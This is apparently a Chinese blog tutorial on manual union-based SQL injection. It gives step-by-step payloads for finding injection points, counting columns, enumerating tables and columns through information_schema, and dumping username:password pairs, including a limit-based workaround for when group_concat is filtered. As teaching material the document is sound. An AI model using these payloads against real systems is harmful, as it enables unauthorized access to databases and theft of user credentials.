SQL手工注入基础知识
(本文仅用于交流学习)sql注入是web安全里的一个对数据库进行注入从而让服务器输出关键信息的手段。在sql注入中,一般需要先获取库名,然后获取库表名,表中字段名,最后查询数据。
·
SQL手工注入基础知识
(本文仅用于交流学习)
sql注入是web安全里的一个对数据库进行注入从而让服务器输出关键信息的手段。在sql注入中,一般需要先获取库名,然后获取库表名,表中字段名,最后查询数据。
1、判断注入点,进行注入测试
首先测试是字符型或数据型注入,寻找能够破坏sql语句结构的输入点。
1' or 1=1#
admin' or '1'='1'
2、猜解sql查询语句中的字段数
接下来,就需要利用order by 猜测SELECT语句查询了多少列
1' order by n#
语句中的n代表让第n列回显。如果在第n行报错,则证明表中一共有n-1列数据。
3、确认回显位置
找出页面上打印了哪几列的数据必须要让前半句查询找不到数据(可以使用负数-1),联合查询的结果才会显示在第一行
例如以下payload:
1' union select 1,2,3#
如果页面上显示了数字2和3,那么说明第2、3列是回显位,接下来的payload都在这里构造
4、获取数据库信息
获取当前数据库名
-1' union select 1,database(),回显位置#
获取库中的表名
利用information_schema.tables 查询当前库中的所有表
-1' union select 1,group_concat(table_name),回显位置 from information_schema.tables where table_schema=database() #
获取表中字段名
利用information_schema.columns 查询目标表的列名
-1' union select 1,group_concat(column_name),回显位置 from information_schema.columns where table_name='users' and table_schema=database() #
5、提取最终数据
使用concat_ws (带分隔符的连接)结合group_concat 将多行多列数据一次性输出。
-1' union select 1,group_concat(concat_ws(':', id, username, password)),3 from users #
6、应对group_concat被过滤的情况
当目标禁用了group_concat 或者限制输出长度,可以使用limit逐条读取:
-1' union select 1,concat_ws(':', username, password),3 from users limit 0,1 # (获取第1条)
-1' union select 1,concat_ws(':', username, password),3 from users limit 1,1 # (获取第2条)
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐


所有评论(0)